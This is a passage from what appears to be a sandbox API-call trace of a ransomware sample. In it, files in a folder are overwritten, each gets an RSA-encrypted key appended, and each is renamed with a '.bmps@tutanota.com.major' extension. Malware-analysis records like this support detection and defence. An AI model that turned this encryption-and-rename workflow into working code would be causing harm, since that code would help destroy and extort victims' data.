pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="hWfOhXAxk0mAeh4kDrYoIFRh39cVlP80UuJevSmco5Wjp6WNIXczoz8XKM2fyWDj\nmSLG5yDG+tIiG80aJ1NwZCFEa7Y+kHF+LHt+BhsW4CHafJ+ntV2r/0dBoxfpBRLz\nMOoJxQZ6R0Rb0vldgQF4YIVu36NR9SzL+v97pAL0d/UB0UjQNL9tcZhMzq/DU77X\nmz/939gskqUd9WBuE0zMR6Q8v8WtkLj/nUvRobrSiuTyOtjtFsVrsKa7MPgoeGmh\nnF0UQ5RexBGSxhZwGOAAJdKEbsXnih0/N1nodW42JIxdhYOhwNybE+UcVE0iXSfb\nR/92DYkbw14Shdq/ydt8KQ==\n", pcchString=0x2e3f9a8) returned 1 [0110.901] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0110.902] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0110.902] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0110.902] CloseHandle (hObject=0x454) returned 1 [0110.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0110.907] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), lpNewFileName="\\588bce7c90097ed212\\sqmapi.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0110.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0110.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0110.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0110.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0110.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be898 [0110.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbc0 [0110.909] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0110.909] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SplashScreen.bmp", dwFileAttributes=0x80) returned 1 [0110.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0110.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0110.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0110.910] CreateFileW (lpFileName="\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0110.910] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=41080) returned 1 [0110.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa078) returned 0x5cdfe8 [0110.911] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa078) returned 0x5d8068 [0110.911] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0xa078, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0xa078, lpOverlapped=0x0) returned 1 [0111.019] SetFilePointer (in: hFile=0x454, lDistanceToMove=-41080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.019] WriteFile (in: hFile=0x454, lpBuffer=0x5d8068*, nNumberOfBytesToWrite=0xa078, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d8068*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa078, lpOverlapped=0x0) returned 1 [0111.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d8068 | out: hHeap=0x570000) returned 1 [0111.022] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa078 [0111.022] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.022] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.022] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.022] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.023] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.023] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.023] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="Ta4Ij+ynpR33m5IuY0JFI5MuDYBlTPypfbOrP0iAoboLJhguVexKniIYQdHejxLt\nyjzkZlxLt+qvrrwsZoItR8YEbx6iHTPKh+WF2BOOhCW8aRffZPMIq0PZ1lFpV8Ki\nvSD6NZRniM/iQzxdxapzXu3TjC34Ku48AKvFvip24nefwmVTgoOKIZsCnvX5vTrB\nTj+HBdDVtfYMgiAIz43824GUH6gZ7mS5M9/ivxVuqGvtaUzE3mMJweikRxmcGZ3a\nWDbfFwKj53BnrwFYazQALiHbiJIybBzQjaSMWLwTCC/yYLL8m+ALDZQZutta+zlM\nlBwyR17eEkaXfGgubmh5KA==\n", pcchString=0x2e3f9a8) returned 1 [0111.024] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.024] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.024] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.024] CloseHandle (hObject=0x454) returned 1 [0111.027] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.027] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), lpNewFileName="\\588bce7c90097ed212\\SplashScreen.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbc0 | out: hHeap=0x570000) returned 1 [0111.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0111.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0111.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0111.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0111.065] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.065] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUtility.exe", dwFileAttributes=0x80) returned 1 [0111.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be688 [0111.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0111.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0111.066] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.066] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=96088) returned 1 [0111.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17758) returned 0x5cdfe8 [0111.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17758) returned 0x5e5748 [0111.066] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x17758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17758, lpOverlapped=0x0) returned 1 [0111.129] SetFilePointer (in: hFile=0x454, lDistanceToMove=-96088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.129] WriteFile (in: hFile=0x454, lpBuffer=0x5e5748*, nNumberOfBytesToWrite=0x17758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e5748*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17758, lpOverlapped=0x0) returned 1 [0111.129] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e5748 | out: hHeap=0x570000) returned 1 [0111.132] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17758 [0111.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.132] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.134] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.134] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.134] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="g92nhei/ssmmK8h9LzEXJYTAvN7VxcQ7cIBmnkQ1tq18F+Nc96uJYLiW4gSUESiJ\nzDvSYMKuyI1TCKvCeUap2A371FQqkT1h1YemxTPt4OPpYACnf6XhLm9AhdAy0qlQ\npftYDMPN3oaUirraEgRUL48v+5ZKzAeOCqyGeSNPz4y/KcN4jvMO/A5rqgLbd0cF\ngg4NPjaFqWPtCl/Wat45dmnaeDFt8LVjTOqmE+fSGmA5m6Tp7yyAv0KvRwnvjXGc\n09Oc4AWDJIP+U3uIJ8+G1mR200H/djCWV2dXl7bNYXrBr1fB/iVmI/4ythgtZJby\nQWaCcy3EJcATMGn5gOl8dg==\n", pcchString=0x2e3f9a8) returned 1 [0111.134] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.134] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.134] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.134] CloseHandle (hObject=0x454) returned 1 [0111.136] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.136] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), lpNewFileName="\\588bce7c90097ed212\\SetupUtility.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0111.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0111.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0111.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc9b8 [0111.138] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.138] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUi.xsd", dwFileAttributes=0x80) returned 1 [0111.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0111.138] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0111.138] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0111.138] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.139] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=30120) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x75a8) returned 0x5cdfe8 [0111.139] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x75a8) returned 0x5d5598 [0111.139] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x75a8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x75a8, lpOverlapped=0x0) returned 1 [0111.171] SetFilePointer (in: hFile=0x454, lDistanceToMove=-30120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.171] WriteFile (in: hFile=0x454, lpBuffer=0x5d5598*, nNumberOfBytesToWrite=0x75a8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d5598*, lpNumberOfBytesWritten=0x2e3f9b4*=0x75a8, lpOverlapped=0x0) returned 1 [0111.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d5598 | out: hHeap=0x570000) returned 1 [0111.175] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x75a8 [0111.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.175] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="7oVXgRldFVXI8wtLmLfwY83mrlL2KoBUbpibI5Wcb6BUJ7Xj8Iithe3Ljw7S8g4o\nEAfC+Bw7l2R3UlyrdeNYaKC28keusqBAQ6YHej6MCvdpuj6l+lHZ8xxMvtcC2IqK\npa/DZGqlnrAOYP810mXl7y9VS5YGLL8oeMMq73LmZ2jTtpMQLy01ugXlbo8Y1XzP\ngEs+0ng1PZviMdI0K9sPbQgsnMSKF0KslYOTDD/UHNCkt58nE0B/Un/ljK8/KGKR\n+EBSvG+79SdQoElt1QhsTBkF8pL8gjjdk1Mnq6MLo1LvRaCXKLVP26kj0gxYbqoH\nnr2X5c1BIs55m9wEfUazfQ==\n", pcchString=0x2e3f9a8) returned 1 [0111.177] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.177] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.177] CloseHandle (hObject=0x454) returned 1 [0111.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.178] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), lpNewFileName="\\588bce7c90097ed212\\SetupUi.xsd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0111.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc9b8 | out: hHeap=0x570000) returned 1 [0111.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0111.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0111.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0111.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc918 [0111.180] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.180] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\SetupUi.dll", dwFileAttributes=0x80) returned 1 [0111.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0111.180] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0111.180] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0111.180] CreateFileW (lpFileName="\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.181] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=295248) returned 1 [0111.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x48150) returned 0x5cdfe8 [0111.181] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x48150) returned 0x2e40048 [0111.182] ReadFile (in: hFile=0x454, lpBuffer=0x5cdfe8, nNumberOfBytesToRead=0x48150, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdfe8*, lpNumberOfBytesRead=0x2e3f9b4*=0x48150, lpOverlapped=0x0) returned 1 [0111.227] SetFilePointer (in: hFile=0x454, lDistanceToMove=-295248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.227] WriteFile (in: hFile=0x454, lpBuffer=0x2e40048*, nNumberOfBytesToWrite=0x48150, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x48150, lpOverlapped=0x0) returned 1 [0111.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdfe8 | out: hHeap=0x570000) returned 1 [0111.228] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.228] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x48150 [0111.228] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.228] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.228] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.228] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.232] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="brQuH8ePZl3zWr3zTbenYt+QD/3Rbkpsx0Qnsm2DCeWCmMHRYAIQNnl2udJP6rQR\n3OTnFSzgZL0v8/jFCHuvbG+QjvmU4m2gh2tI9BudHWisgP2tW8Z+x80SHGwR2JMe\nbe29tsDgsA4wun1I7BqEYNPqESExZcOaPR2Y2MxndoAqg8NE6kw0cByLbd4xcRQ7\n45ylgVUW5UdvEwqxEjzo7i18fQTo0X+qnN98kkKwYKXeT3hHCcnRqvaukRtmfpjM\nnAgQjHEvL4+NipMYT6VzK0xIDp3sYWdq/0WTDrRcu6PLfZYE2cXt8uBl9DTfN2kU\ncRp4unvXsEeTd0gIbeTxAA==\n", pcchString=0x2e3f9a8) returned 1 [0111.232] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.232] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.233] CloseHandle (hObject=0x454) returned 1 [0111.239] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.239] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), lpNewFileName="\\588bce7c90097ed212\\SetupUi.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0111.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc918 | out: hHeap=0x570000) returned 1 [0111.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0111.240] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0111.240] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be840 [0111.240] 